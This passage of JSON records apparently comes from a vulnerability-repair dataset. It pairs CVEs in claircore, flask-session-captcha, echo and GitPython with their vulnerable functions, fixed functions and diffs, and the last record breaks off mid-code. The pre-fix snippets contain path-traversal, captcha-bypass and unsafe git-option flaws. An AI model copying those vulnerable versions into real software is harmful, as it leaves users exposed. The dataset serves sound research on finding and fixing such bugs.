err\n\t\t\t\t}\n\t\t\t\tp.PackageDB = db\n\t\t\t\tpkgs = append(pkgs, p)\n\t\t\t}\n\n\t\t\treturn s.Err()\n\t\t}(); err != nil {\n\t\t\tif errbuf.Len() != 0 {\n\t\t\t\tzlog.Warn(ctx).\n\t\t\t\t\tStr(\"db\", db).\n\t\t\t\t\tStrs(\"cmd\", cmd.Args).\n\t\t\t\t\tStr(\"err\", errbuf.String()).\n\t\t\t\t\tMsg(\"error output\")\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"rpm: error reading rpm output: %w\", err)\n\t\t}\n\t\tif err := cmd.Wait(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn pkgs, nil\n}"}], "fix_func": [{"id": "fix_go_160_1", "commit": "dff671c", "file_path": "rpm/packagescanner.go", "start_line": 65, "end_line": 319, "snippet": "func (ps *Scanner) Scan(ctx context.Context, layer *claircore.Layer) ([]*claircore.Package, error) {\n\tif err := ctx.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\tdefer trace.StartRegion(ctx, \"Scanner.Scan\").End()\n\ttrace.Log(ctx, \"layer\", layer.Hash.String())\n\tctx = baggage.ContextWithValues(ctx,\n\t\tlabel.String(\"component\", \"rpm/Scanner.Scan\"),\n\t\tlabel.String(\"version\", ps.Version()),\n\t\tlabel.String(\"layer\", layer.Hash.String()))\n\tzlog.Debug(ctx).Msg(\"start\")\n\tdefer zlog.Debug(ctx).Msg(\"done\")\n\n\tr, err := layer.Reader()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trd, ok := r.(interface {\n\t\tio.ReadCloser\n\t\tio.Seeker\n\t})\n\tif !ok {\n\t\treturn nil, errors.New(\"rpm: cannot seek on returned layer Reader\")\n\t}\n\n\t// Map of directory to confidence score. Confidence of len(dbnames) means\n\t// it's almost certainly an rpm database.\n\tpossible := make(map[string]int)\n\ttr := tar.NewReader(rd)\n\t// Find possible rpm dbs\n\t// If none found, return\n\tvar h *tar.Header\n\tfor h, err = tr.Next(); err == nil; h, err = tr.Next() {\n\t\tn := filepath.Base(h.Name)\n\t\td := filepath.Dir(h.Name)\n\t\tif _, ok := dbnames[n]; ok {\n\t\t\tpossible[d]++\n\t\t}\n\t}\n\tif err != io.EOF {\n\t\treturn nil, err\n\t}\n\tif len(possible) == 0 {\n\t\treturn nil, nil\n\t}\n\tfound := make([]string, 0)\n\tfor k, score := range possible {\n\t\tif score == len(dbnames) {\n\t\t\tfound = append(found, filepath.Join(\"/\", k))\n\t\t}\n\t}\n\tzlog.Debug(ctx).Int(\"count\", len(found)).Msg(\"found possible databases\")\n\tif len(found) == 0 {\n\t\treturn nil, nil\n\t}\n\n\troot, err := ioutil.TempDir(\"\", \"rpmscanner.\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\tif err := os.RemoveAll(root); err != nil {\n\t\t\t// Raising an error should notify an operator?\n\t\t\t//\n\t\t\t// It's this or panic.\n\t\t\tzlog.Error(ctx).Err(err).Msg(\"error removing extracted files\")\n\t\t}\n\t}()\n\tempty := filepath.Join(os.TempDir(), \"rpm.emptyfile\")\n\tef, err := os.Create(empty)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif err := ef.Close(); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Extract tarball\n\tif err := ctx.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\tif _, err := rd.Seek(0, io.SeekStart); err != nil {\n\t\treturn nil, fmt.Errorf(\"rpm: unable to seek: %w\", err)\n\t}\n\ttr = tar.NewReader(rd)\n\tconst (\n\t\t// Any mode bits need to be or'd with these constants so that this\n\t\t// process can always remove and traverse files it writes.\n\t\tdirMode  = 0o0700\n\t\tfileMode = 0o0600\n\t)\n\t// For logging what we've done.\n\tvar stats struct {\n\t\tReg, Link, Symlink, Dir, Whiteout int\n\t\tOutOfOrder                        int\n\t}\n\t// Made tracks directory creation to prevent excessive mkdir calls.\n\tmade := map[string]struct{}{root: {}}\n\t// DeferLn is for queuing up out-of-order hard links.\n\tvar deferLn [][2]string\n\tfor h, err = tr.Next(); err == nil; h, err = tr.Next() {\n\t\tif strings.HasPrefix(filepath.Base(h.Name), \".wh.\") {\n\t\t\t// Whiteout, skip.\n\t\t\tstats.Whiteout++\n\t\t\tcontinue\n\t\t}\n\t\t// Build the path on the filesystem.\n\t\ttgt := relPath(root, h.Name)\n\t\t// Since tar, as a format, doesn't impose ordering requirements, make\n\t\t// sure to create all parent directories of the current entry.\n\t\td := filepath.Dir(tgt)\n\t\tif _, ok := made[d]; !ok {\n\t\t\tif err := os.MkdirAll(d, dirMode); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tmade[d] = struct{}{}\n\t\t\tstats.OutOfOrder++\n\t\t}\n\n\t\t// Populate the target file.\n\t\tvar err error\n\t\tswitch h.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tm := h.FileInfo().Mode() | dirMode\n\t\t\tif _, ok := made[tgt]; ok {\n\t\t\t\t// If we had made this directory by seeing a child first, touch\n\t\t\t\t// up the permissions.\n\t\t\t\terr = os.Chmod(tgt, m)\n\t\t\t\tbreak\n\t\t\t}\n\t\t\terr = os.Mkdir(tgt, m)\n\t\t\t// Make sure to preempt the MkdirAll call if the entries were\n\t\t\t// ordered nicely.\n\t\t\tmade[d] = struct{}{}\n\t\t\tstats.Dir++\n\t\tcase tar.TypeReg:\n\t\t\tm := h.FileInfo().Mode() | fileMode\n\t\t\tvar f *os.File\n\t\t\tf, err = os.OpenFile(tgt, os.O_CREATE|os.O_WRONLY, m)\n\t\t\tif err != nil {\n\t\t\t\tbreak // Handle after the switch.\n\t\t\t}\n\t\t\t_, err = io.Copy(f, tr)\n\t\t\tif err := f.Close(); err != nil {\n\t\t\t\tzlog.Warn(ctx).Err(err).Msg(\"error closing new file\")\n\t\t\t}\n\t\t\tstats.Reg++\n\t\tcase tar.TypeSymlink:\n\t\t\t// Normalize the link target into the root.\n\t\t\tln := relPath(root, h.Linkname)\n\t\t\terr = os.Symlink(ln, tgt)\n\t\t\tstats.Symlink++\n\t\tcase tar.TypeLink:\n\t\t\t// Normalize the link target into the root.\n\t\t\tln := relPath(root, h.Linkname)\n\t\t\t_, exists := os.Lstat(ln)\n\t\t\tswitch {\n\t\t\tcase errors.Is(exists, nil):\n\t\t\t\terr = os.Link(ln, tgt)\n\t\t\tcase errors.Is(exists, os.ErrNotExist):\n\t\t\t\t// Push onto a queue to fix later. Link(2) is documented to need\n\t\t\t\t// a valid target, unlike symlink(2), which allows a missing\n\t\t\t\t// target. Combined with tar's lack of ordering, this seems like\n\t\t\t\t// the best solution.\n\t\t\t\tdeferLn = append(deferLn, [2]string{ln, tgt})\n\t\t\tdefault:\n\t\t\t\terr = exists\n\t\t\t}\n\t\t\tstats.Link++\n\t\tdefault:\n\t\t\t// Skip everything else: Can't mknod as an unprivileged user and\n\t\t\t// fifos are only useful to a running system.\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tfor _, l := range deferLn {\n\t\tif err := os.Link(l[0], l[1]); err != nil {\n\t\t\tzlog.Debug(ctx).\n\t\t\t\tErr(err).\n\t\t\t\tMsg(\"cross-layer (or invalid) hardlink found\")\n\t\t\tif err := os.Link(empty, l[1]); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t}\n\tif ct := len(deferLn); ct != 0 {\n\t\tzlog.Debug(ctx).\n\t\t\tInt(\"count\", ct).\n\t\t\tMsg(\"processed deferred links\")\n\t}\n\n\tzlog.Info(ctx).\n\t\tInt(\"file\", stats.Reg).\n\t\tInt(\"dir\", stats.Dir).\n\t\tInt(\"dir(out of order)\", stats.OutOfOrder).\n\t\tInt(\"symlink\", stats.Symlink).\n\t\tInt(\"link\", stats.Link).\n\t\tInt(\"whiteout\", stats.Whiteout).\n\t\tMsg(\"extracted layer\")\n\n\tvar pkgs []*claircore.Package\n\t// Using --root and --dbpath, run rpm query on every suspected database\n\tfor _, db := range found {\n\t\tzlog.Debug(ctx).Str(\"db\", db).Msg(\"examining database\")\n\n\t\tcmd := exec.CommandContext(ctx, \"rpm\",\n\t\t\t`--root`, root, `--dbpath`, db,\n\t\t\t`--query`, `--all`, `--queryformat`, queryFmt)\n\t\tr, err := cmd.StdoutPipe()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\terrbuf := bytes.Buffer{}\n\t\tcmd.Stderr = &errbuf\n\t\tzlog.Debug(ctx).Str(\"db\", db).Strs(\"cmd\", cmd.Args).Msg(\"rpm invocation\")\n\t\tif err := cmd.Start(); err != nil {\n\t\t\tr.Close()\n\t\t\treturn nil, err\n\t\t}\n\t\t// Use a closure to defer the Close call.\n\t\tif err := func() error {\n\t\t\tdefer r.Close()\n\t\t\tsrcs := make(map[string]*claircore.Package)\n\t\t\ts := bufio.NewScanner(r)\n\t\t\ts.Split(querySplit)\n\n\t\t\tfor s.Scan() {\n\t\t\t\tp, err := parsePackage(ctx, srcs, bytes.NewBuffer(s.Bytes()))\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tp.PackageDB = db\n\t\t\t\tpkgs = append(pkgs, p)\n\t\t\t}\n\n\t\t\treturn s.Err()\n\t\t}(); err != nil {\n\t\t\tif errbuf.Len() != 0 {\n\t\t\t\tzlog.Warn(ctx).\n\t\t\t\t\tStr(\"db\", db).\n\t\t\t\t\tStrs(\"cmd\", cmd.Args).\n\t\t\t\t\tStr(\"err\", errbuf.String()).\n\t\t\t\t\tMsg(\"error output\")\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"rpm: error reading rpm output: %w\", err)\n\t\t}\n\t\tif err := cmd.Wait(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn pkgs, nil\n}"}], "vul_patch": "--- a/rpm/packagescanner.go\n+++ b/rpm/packagescanner.go\n@@ -105,7 +105,7 @@\n \t\t\tcontinue\n \t\t}\n \t\t// Build the path on the filesystem.\n-\t\ttgt := filepath.Join(root, filepath.Clean(h.Name))\n+\t\ttgt := relPath(root, h.Name)\n \t\t// Since tar, as a format, doesn't impose ordering requirements, make\n \t\t// sure to create all parent directories of the current entry.\n \t\td := filepath.Dir(tgt)\n@@ -147,12 +147,12 @@\n \t\t\tstats.Reg++\n \t\tcase tar.TypeSymlink:\n \t\t\t// Normalize the link target into the root.\n-\t\t\tln := filepath.Join(root, filepath.Clean(h.Linkname))\n+\t\t\tln := relPath(root, h.Linkname)\n \t\t\terr = os.Symlink(ln, tgt)\n \t\t\tstats.Symlink++\n \t\tcase tar.TypeLink:\n \t\t\t// Normalize the link target into the root.\n-\t\t\tln := filepath.Join(root, filepath.Clean(h.Linkname))\n+\t\t\tln := relPath(root, h.Linkname)\n \t\t\t_, exists := os.Lstat(ln)\n \t\t\tswitch {\n \t\t\tcase errors.Is(exists, nil):\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-24880", "cve_description": "flask-session-captcha is a package which allows users to extend Flask by adding an image based captcha stored in a server side session. In versions prior to 1.2.1, he `captcha.validate()` function would return `None` if passed no value (e.g. by submitting an having an empty form). If implementing users were checking the return value to be **False**, the captcha verification check could be bypassed. Version 1.2.1 fixes the issue. Users can workaround the issue by not explicitly checking that the value is False. Checking the return value less explicitly should still work.", "cwe_info": {"CWE-754": {"name": "Improper Check for Unusual or Exceptional Conditions", "description": "The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product."}}, "repo": "https://github.com/Tethik/flask-session-captcha", "patch_url": ["https://github.com/Tethik/flask-session-captcha/commit/2811ae23a38d33b620fb7a07de8837c6d65c13e4"], "programing_language": "Python", "vul_func": [{"id": "vul_py_432_1", "commit": "50b4053", "file_path": "test_flask_session_captcha.py", "start_line": 94, "end_line": 104, "snippet": "    def test_captcha_validate_value(self):\n        captcha = FlaskSessionCaptcha(self.app)\n        _default_routes(captcha, self.app)\n\n        with self.app.test_request_context('/'):\n            captcha.generate()\n            answer = captcha.get_answer()\n            assert not captcha.validate(value=\"wrong\")\n            captcha.generate()\n            answer = captcha.get_answer()\n            assert captcha.validate(value=answer)"}], "fix_func": [{"id": "fix_py_432_1", "commit": "2811ae23a38d33b620fb7a07de8837c6d65c13e4", "file_path": "test_flask_session_captcha.py", "start_line": 94, "end_line": 110, "snippet": "    def test_captcha_validate_value(self):\n        captcha = FlaskSessionCaptcha(self.app)\n        _default_routes(captcha, self.app)\n\n        with self.app.test_request_context('/'):\n            captcha.generate()\n            answer = captcha.get_answer()\n            assert captcha.validate(value=None) == False\n            captcha.generate()\n            answer = captcha.get_answer()\n            assert captcha.validate(value=\"\") == False\n            captcha.generate()\n            answer = captcha.get_answer()\n            assert captcha.validate(value=\"wrong\") == False\n            captcha.generate()\n            answer = captcha.get_answer()\n            assert captcha.validate(value=answer)"}], "vul_patch": "--- a/test_flask_session_captcha.py\n+++ b/test_flask_session_captcha.py\n@@ -5,7 +5,13 @@\n         with self.app.test_request_context('/'):\n             captcha.generate()\n             answer = captcha.get_answer()\n-            assert not captcha.validate(value=\"wrong\")\n+            assert captcha.validate(value=None) == False\n+            captcha.generate()\n+            answer = captcha.get_answer()\n+            assert captcha.validate(value=\"\") == False\n+            captcha.generate()\n+            answer = captcha.get_answer()\n+            assert captcha.validate(value=\"wrong\") == False\n             captcha.generate()\n             answer = captcha.get_answer()\n             assert captcha.validate(value=answer)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-36565", "cve_description": "Due to improper sanitization of user input on Windows, the static file handler allows for directory traversal, allowing an attacker to read files outside of the target directory that the server has permission to read.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/labstack/echo", "patch_url": ["https://github.com/labstack/echo/commit/4422e3b66b9fd498ed1ae1d0242d660d0ed3faaa"], "programing_language": "Go", "vul_func": [{"id": "vul_go_115_1", "commit": "e7741d4", "file_path": "echo.go", "start_line": 482, "end_line": 508, "snippet": "func (common) static(prefix, root string, get func(string, HandlerFunc, ...MiddlewareFunc) *Route) *Route {\n\th := func(c Context) error {\n\t\tp, err := url.PathUnescape(c.Param(\"*\"))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tname := filepath.Join(root, path.Clean(\"/\"+p)) // \"/\"+ for security\n\t\tfi, err := os.Stat(name)\n\t\tif err != nil {\n\t\t\t// The access path does not exist\n\t\t\treturn NotFoundHandler(c)\n\t\t}\n\n\t\t// If the request is for a directory and does not end with \"/\"\n\t\tp = c.Request().URL.Path // path must not be empty.\n\t\tif fi.IsDir() && p[len(p)-1] != '/' {\n\t\t\t// Redirect to ends with \"/\"\n\t\t\treturn c.Redirect(http.StatusMovedPermanently, p+\"/\")\n\t\t}\n\t\treturn c.File(name)\n\t}\n\tif prefix == \"/\" {\n\t\treturn get(prefix+\"*\", h)\n\t}\n\treturn get(prefix+\"/*\", h)\n}"}, {"id": "vul_go_115_2", "commit": "e7741d4", "file_path": "middleware/static.go", "start_line": 138, "end_line": 216, "snippet": "func StaticWithConfig(config StaticConfig) echo.MiddlewareFunc {\n\t// Defaults\n\tif config.Root == \"\" {\n\t\tconfig.Root = \".\" // For security we want to restrict to CWD.\n\t}\n\tif config.Skipper == nil {\n\t\tconfig.Skipper = DefaultStaticConfig.Skipper\n\t}\n\tif config.Index == \"\" {\n\t\tconfig.Index = DefaultStaticConfig.Index\n\t}\n\n\t// Index template\n\tt, err := template.New(\"index\").Parse(html)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"echo: %v\", err))\n\t}\n\n\treturn func(next echo.HandlerFunc) echo.HandlerFunc {\n\t\treturn func(c echo.Context) (err error) {\n\t\t\tif config.Skipper(c) {\n\t\t\t\treturn next(c)\n\t\t\t}\n\n\t\t\tp := c.Request().URL.Path\n\t\t\tif strings.HasSuffix(c.Path(), \"*\") { // When serving from a group, e.g. `/static*`.\n\t\t\t\tp = c.Param(\"*\")\n\t\t\t}\n\t\t\tp, err = url.PathUnescape(p)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tname := filepath.Join(config.Root, path.Clean(\"/\"+p)) // \"/\"+ for security\n\n\t\t\tif config.IgnoreBase {\n\t\t\t\troutePath := path.Base(strings.TrimRight(c.Path(), \"/*\"))\n\t\t\t\tbaseURLPath := path.Base(p)\n\t\t\t\tif baseURLPath == routePath {\n\t\t\t\t\ti := strings.LastIndex(name, routePath)\n\t\t\t\t\tname = name[:i] + strings.Replace(name[i:], routePath, \"\", 1)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfi, err := os.Stat(name)\n\t\t\tif err != nil {\n\t\t\t\tif os.IsNotExist(err) {\n\t\t\t\t\tif err = next(c); err != nil {\n\t\t\t\t\t\tif he, ok := err.(*echo.HTTPError); ok {\n\t\t\t\t\t\t\tif config.HTML5 && he.Code == http.StatusNotFound {\n\t\t\t\t\t\t\t\treturn c.File(filepath.Join(config.Root, config.Index))\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif fi.IsDir() {\n\t\t\t\tindex := filepath.Join(name, config.Index)\n\t\t\t\tfi, err = os.Stat(index)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tif config.Browse {\n\t\t\t\t\t\treturn listDir(t, name, c.Response())\n\t\t\t\t\t}\n\t\t\t\t\tif os.IsNotExist(err) {\n\t\t\t\t\t\treturn next(c)\n\t\t\t\t\t}\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\treturn c.File(index)\n\t\t\t}\n\n\t\t\treturn c.File(name)\n\t\t}\n\t}\n}"}], "fix_func": [{"id": "fix_go_115_1", "commit": "4422e3b", "file_path": "echo.go", "start_line": 481, "end_line": 507, "snippet": "func (common) static(prefix, root string, get func(string, HandlerFunc, ...MiddlewareFunc) *Route) *Route {\n\th := func(c Context) error {\n\t\tp, err := url.PathUnescape(c.Param(\"*\"))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tname := filepath.Join(root, filepath.Clean(\"/\"+p)) // \"/\"+ for security\n\t\tfi, err := os.Stat(name)\n\t\tif err != nil {\n\t\t\t// The access path does not exist\n\t\t\treturn NotFoundHandler(c)\n\t\t}\n\n\t\t// If the request is for a directory and does not end with \"/\"\n\t\tp = c.Request().URL.Path // path must not be empty.\n\t\tif fi.IsDir() && p[len(p)-1] != '/' {\n\t\t\t// Redirect to ends with \"/\"\n\t\t\treturn c.Redirect(http.StatusMovedPermanently, p+\"/\")\n\t\t}\n\t\treturn c.File(name)\n\t}\n\tif prefix == \"/\" {\n\t\treturn get(prefix+\"*\", h)\n\t}\n\treturn get(prefix+\"/*\", h)\n}"}, {"id": "fix_go_115_2", "commit": "4422e3b", "file_path": "middleware/static.go", "start_line": 138, "end_line": 216, "snippet": "func StaticWithConfig(config StaticConfig) echo.MiddlewareFunc {\n\t// Defaults\n\tif config.Root == \"\" {\n\t\tconfig.Root = \".\" // For security we want to restrict to CWD.\n\t}\n\tif config.Skipper == nil {\n\t\tconfig.Skipper = DefaultStaticConfig.Skipper\n\t}\n\tif config.Index == \"\" {\n\t\tconfig.Index = DefaultStaticConfig.Index\n\t}\n\n\t// Index template\n\tt, err := template.New(\"index\").Parse(html)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"echo: %v\", err))\n\t}\n\n\treturn func(next echo.HandlerFunc) echo.HandlerFunc {\n\t\treturn func(c echo.Context) (err error) {\n\t\t\tif config.Skipper(c) {\n\t\t\t\treturn next(c)\n\t\t\t}\n\n\t\t\tp := c.Request().URL.Path\n\t\t\tif strings.HasSuffix(c.Path(), \"*\") { // When serving from a group, e.g. `/static*`.\n\t\t\t\tp = c.Param(\"*\")\n\t\t\t}\n\t\t\tp, err = url.PathUnescape(p)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tname := filepath.Join(config.Root, filepath.Clean(\"/\"+p)) // \"/\"+ for security\n\n\t\t\tif config.IgnoreBase {\n\t\t\t\troutePath := path.Base(strings.TrimRight(c.Path(), \"/*\"))\n\t\t\t\tbaseURLPath := path.Base(p)\n\t\t\t\tif baseURLPath == routePath {\n\t\t\t\t\ti := strings.LastIndex(name, routePath)\n\t\t\t\t\tname = name[:i] + strings.Replace(name[i:], routePath, \"\", 1)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfi, err := os.Stat(name)\n\t\t\tif err != nil {\n\t\t\t\tif os.IsNotExist(err) {\n\t\t\t\t\tif err = next(c); err != nil {\n\t\t\t\t\t\tif he, ok := err.(*echo.HTTPError); ok {\n\t\t\t\t\t\t\tif config.HTML5 && he.Code == http.StatusNotFound {\n\t\t\t\t\t\t\t\treturn c.File(filepath.Join(config.Root, config.Index))\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif fi.IsDir() {\n\t\t\t\tindex := filepath.Join(name, config.Index)\n\t\t\t\tfi, err = os.Stat(index)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tif config.Browse {\n\t\t\t\t\t\treturn listDir(t, name, c.Response())\n\t\t\t\t\t}\n\t\t\t\t\tif os.IsNotExist(err) {\n\t\t\t\t\t\treturn next(c)\n\t\t\t\t\t}\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\treturn c.File(index)\n\t\t\t}\n\n\t\t\treturn c.File(name)\n\t\t}\n\t}\n}"}], "vul_patch": "--- a/echo.go\n+++ b/echo.go\n@@ -5,7 +5,7 @@\n \t\t\treturn err\n \t\t}\n \n-\t\tname := filepath.Join(root, path.Clean(\"/\"+p)) // \"/\"+ for security\n+\t\tname := filepath.Join(root, filepath.Clean(\"/\"+p)) // \"/\"+ for security\n \t\tfi, err := os.Stat(name)\n \t\tif err != nil {\n \t\t\t// The access path does not exist\n\n--- a/middleware/static.go\n+++ b/middleware/static.go\n@@ -30,7 +30,7 @@\n \t\t\tif err != nil {\n \t\t\t\treturn\n \t\t\t}\n-\t\t\tname := filepath.Join(config.Root, path.Clean(\"/\"+p)) // \"/\"+ for security\n+\t\t\tname := filepath.Join(config.Root, filepath.Clean(\"/\"+p)) // \"/\"+ for security\n \n \t\t\tif config.IgnoreBase {\n \t\t\t\troutePath := path.Base(strings.TrimRight(c.Path(), \"/*\"))\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-40267", "cve_description": "GitPython before 3.1.32 does not block insecure non-multi options in clone and clone_from. NOTE: this issue exists because of an incomplete fix for CVE-2022-24439.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/gitpython-developers/GitPython", "patch_url": ["https://github.com/gitpython-developers/GitPython/commit/ca965ecc81853bca7675261729143f54e5bf4cdd"], "programing_language": "Python", "vul_func": [{"id": "vul_py_40_1", "commit": "c09a71e2caefd5c25195b0b2decc8177d658216a", "file_path": "git/repo/base.py", "start_line": 1172, "end_line": 1255, "snippet": "    def _clone(\n        cls,\n        git: \"Git\",\n        url: PathLike,\n        path: PathLike,\n        odb_default_type: Type[GitCmdObjectDB],\n        progress: Union[\"RemoteProgress\", \"UpdateProgress\", Callable[..., \"RemoteProgress\"], None] = None,\n        multi_options: Optional[List[str]] = None,\n        allow_unsafe_protocols: bool = False,\n        allow_unsafe_options: bool = False,\n        **kwargs: Any,\n    ) -> \"Repo\":\n        odbt = kwargs.pop(\"odbt\", odb_default_type)\n\n        # when pathlib.Path or other classbased path is passed\n        if not isinstance(path, str):\n            path = str(path)\n\n        ## A bug win cygwin's Git, when `--bare` or `--separate-git-dir`\n        #  it prepends the cwd or(?) the `url` into the `path, so::\n        #        git clone --bare  /cygwin/d/foo.git  C:\\\\Work\n        #  becomes::\n        #        git clone --bare  /cygwin/d/foo.git  /cygwin/d/C:\\\\Work\n        #\n        clone_path = Git.polish_url(path) if Git.is_cygwin() and \"bare\" in kwargs else path\n        sep_dir = kwargs.get(\"separate_git_dir\")\n        if sep_dir:\n            kwargs[\"separate_git_dir\"] = Git.polish_url(sep_dir)\n        multi = None\n        if multi_options:\n            multi = shlex.split(\" \".join(multi_options))\n\n        if not allow_unsafe_protocols:\n            Git.check_unsafe_protocols(str(url))\n        if not allow_unsafe_options and multi_options:\n            Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)\n\n        proc = git.clone(\n            multi,\n            \"--\",\n            Git.polish_url(str(url)),\n            clone_path,\n            with_extended_output=True,\n            as_process=True,\n            v=True,\n            universal_newlines=True,\n            **add_progress(kwargs, git, progress),\n        )\n        if progress:\n            handle_process_output(\n                proc,\n                None,\n                to_progress_instance(progress).new_message_handler(),\n                finalize_process,\n                decode_streams=False,\n            )\n        else:\n            (stdout, stderr) = proc.communicate()\n            cmdline = getattr(proc, \"args\", \"\")\n            cmdline = remove_password_if_present(cmdline)\n\n            log.debug(\"Cmd(%s)'s unused stdout: %s\", cmdline, stdout)\n            finalize_process(proc, stderr=stderr)\n\n        # our git command could have a different working dir than our actual\n        # environment, hence we prepend its working dir if required\n        if not osp.isabs(path):\n            path = osp.join(git._working_dir, path) if git._working_dir is not None else path\n\n        repo = cls(path, odbt=odbt)\n\n        # retain env values that were passed to _clone()\n        repo.git.update_environment(**git.environment())\n\n        # adjust remotes - there may be operating systems which use backslashes,\n        # These might be given as initial paths, but when handling the config file\n        # that contains the remote from which we were clones, git stops liking it\n        # as it will escape the backslashes. Hence we undo the escaping just to be\n        # sure\n        if repo.remotes:\n            with repo.remotes[0].config_writer as writer:\n                writer.set_value(\"url\", Git.polish_url(repo.remotes[0].url))\n        # END handle remote repo\n        return repo"}], "fix_func": [{"id": "fix_py_40_1", "commit": "ca965ec", "file_path": "git/repo/base.py", "start_line": 1172, "end_line": 1257, "snippet": "    def _clone(\n        cls,\n        git: \"Git\",\n        url: PathLike,\n        path: PathLike,\n        odb_default_type: Type[GitCmdObjectDB],\n        progress: Union[\"RemoteProgress\", \"UpdateProgress\", Callable[..., \"RemoteProgress\"], None] = None,\n        multi_options: Optional[List[str]] = None,\n        allow_unsafe_protocols: bool = False,\n        allow_unsafe_options: bool = False,\n        **kwargs: Any,\n    ) -> \"Repo\":\n        odbt = kwargs.pop(\"odbt\", odb_default_type)\n\n        # when pathlib.Path or other classbased path is passed\n        if not isinstance(path, str):\n            path = str(path)\n\n        ## A bug win cygwin's Git, when `--bare` or `--separate-git-dir`\n        #  it prepends the cwd or(?) the `url` into the `path, so::\n        #        git clone --bare  /cygwin/d/foo.git  C:\\\\Work\n        #  becomes::\n        #        git clone --bare  /cygwin/d/foo.git  /cygwin/d/C:\\\\Work\n        #\n        clone_path = Git.polish_url(path) if Git.is_cygwin() and \"bare\" in kwargs else path\n        sep_dir = kwargs.get(\"separate_git_dir\")\n        if sep_dir:\n            kwargs[\"separate_git_dir\"] = Git.polish_url(sep_dir)\n        multi = None\n        if multi_options:\n            multi = shlex.split(\" \".join(multi_options))\n\n        if not allow_unsafe_protocols:\n            Git.check_unsafe_protocols(str(url))\n        if not allow_unsafe_options:\n            Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\n        if not allow_unsafe_options and multi_options:\n            Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)\n\n        proc = git.clone(\n            multi,\n            \"--\",\n            Git.polish_url(str(url)),\n            clone_path,\n            with_extended_output=True,\n            as_process=True,\n            v=True,\n            universal_newlines=True,\n            **add_progress(kwargs, git, progress),\n        )\n        if progress:\n            handle_process_output(\n                proc,\n                None,\n                to_progress_instance(progress).new_message_handler(),\n                finalize_process,\n                decode_streams=False,\n            )\n        else:\n            (stdout, stderr) = proc.communicate()\n            cmdline = getattr(proc, \"args\", \"\")\n            cmdline = remove_password_if_present(cmdline)\n\n            log.debug(\"Cmd(%s)'s unused stdout: %s\", cmdline, stdout)\n            finalize_process(proc, stderr=stderr)\n\n        # our git command could have a different working dir than our actual\n        # environment, hence we prepend its working dir if required\n        if not osp.isabs(path):\n            path = osp.join(git._working_dir, path) if git._working_dir is not None else path\n\n        repo = cls(path, odbt=odbt)\n\n        # retain env values that were passed to _clone()\n        repo.git.update_environment(**git.environment())\n\n        # adjust remotes - there may be operating systems which use backslashes,\n        # These might be given as initial paths, but when handling the config file\n        # that contains the remote from which we were clones, git stops liking it\n        # as it will escape the backslashes. Hence we undo the escaping just to be\n        # sure\n        if repo.remotes:\n            with 